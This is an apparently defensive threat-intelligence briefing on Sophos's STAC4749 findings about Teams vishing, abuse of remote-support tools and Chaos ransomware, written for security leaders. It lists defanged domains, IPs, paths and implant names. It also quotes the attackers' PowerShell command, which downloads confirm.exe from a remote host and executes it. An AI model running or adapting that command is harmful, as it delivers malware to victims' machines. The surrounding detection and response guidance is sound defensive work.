What happened
Sophos published its STAC4749 findings on July 30, 2026. Sophos observed dozens of targeted organisations between February and June 2026, with Canada accounting for 50% of observed cases and the United States 44%. Operators used external Microsoft Teams chats and voice calls to impersonate IT support, then persuaded employees to start Microsoft Quick Assist sessions or install the commercial cloud-based RemSupp remote monitoring and management tool.
Published support-themed domains included sequrityupdate[.]top, scan-security[.]top, system-connect[.]top, corp-connect[.]top and supportsoft[.]top. Payloads were commonly staged under AppData\Roaming, while persistence used Run-key names including Realtek HD Audio, WinAudio life2 and Realtek Audio UHD. The loader checked for C:\ProgramData\AppSreen\logs\appscreen.log and contained 94[.]140[.]114[.]192:443, 94[.]140[.]115[.]18:443 and 94[.]140[.]115[.]129:443.
Sophos published the command: powershell $u=“https://fa5[.]flsdwnld[.]online/f5yxog/confirm.exe";$p="$env:APPDATA\confirm.exe";Invoke-WebRequest $u -OutFile $p;Unblock-File $p;$p1=”–token-raw=****“;Start-Process $p $p1. Follow-on tools included DWAgent, AnyDesk and sc5.exe, while observed backdoor or implant names included updater.exe, msupdate.exe, confirm.exe, graph.exe, midnight.exe and shield.exe.
At least three STAC4749 compromises progressed to Chaos ransomware. One incident moved from initial Teams contact to ransomware deployment in less than 17 hours, and affected endpoints received ransom notes named readme.chaos.txt. Attribution posture: Sophos found insufficient evidence to attribute STAC4749 to a specific actor.
Why this matters now
The campaign turns a familiar collaboration platform into an identity-verification problem. The attacker does not need to defeat multifactor authentication when an employee voluntarily launches an approved remote-support utility. Controls therefore need to join Teams federation, support-desk procedure, remote-management governance, endpoint detection and user verification rather than treating vishing solely as an awareness issue.
The less-than-17-hour progression leaves little room for ticket-based escalation. A suspicious remote-support session should trigger endpoint isolation and identity review immediately, especially when followed by PowerShell, AppData payloads, Run-key creation, RDP enablement or secondary RMM deployment. Waiting for encryption indicators forfeits the most useful containment period.
Sophos supplied huntable domains, paths, filenames, IP addresses and a representative command. Organisations can test exposure now rather than relying on campaign descriptions. The sector distribution also shows this is not confined to one vertical, although North American services, manufacturing and energy organisations were prominent in Sophos telemetry.
The decision for security leaders
Make external IT-support contact a verified business process. Microsoft 365 owners should restrict cross-tenant communication where operationally acceptable and require employees to validate unexpected support requests through a known internal channel before granting screen or keyboard control.
Endpoint owners should block or tightly approve Quick Assist, RemSupp, DWAgent, AnyDesk and comparable RMM tools. Detection engineering should correlate their execution with external Teams contact, PowerShell downloads, AppData staging, new user Run keys, RDP enablement and outbound connections to the published infrastructure.
Incident response should treat confirmed remote access as potential ransomware staging. Assign immediate host isolation, token and password reset, lateral-movement review, persistence hunting and recovery-readiness checks rather than closing the case after removing one executable.
Evidence of closure
- Teams policy export shows approved cross-tenant communication restrictions.
- Application-control logs confirm unapproved RMM tools are blocked.
- Hunt results document disposition for every published indicator match.
- Recovery test restores a representative encrypted workload within tolerance.
The Security.io assessment
The strongest evidence is Sophos’s incident-response telemetry connecting a consistent social-engineering pattern to custom tooling and at least three ransomware outcomes. The observed speed makes this a control-integration issue: collaboration, endpoint and identity teams cannot investigate sequentially when encryption can follow within one operating shift.
Actor attribution remains unresolved. A mistyped command consistent with a Russian keyboard layout is not sufficient to identify responsibility, and Sophos explicitly rejected a supported link to the Iran-associated MuddyWater activity discussed elsewhere. Defensive action should remain indicator- and behaviour-led.
The indicators may rotate because the campaign repeatedly changed filenames, infrastructure and deployment methods. Exact-match hunting is necessary but incomplete. Higher-value detections combine external Teams activity, unexpected remote-control sessions, PowerShell retrieval, user-writable execution, suspicious Run keys and redundant remote-access tooling.
Questions for the morning meeting
- Can external Teams users initiate calls to employees?
- Which remote-support tools bypass current application controls?
- How quickly can one compromised endpoint be isolated?
- Are support identities independently verified before remote access?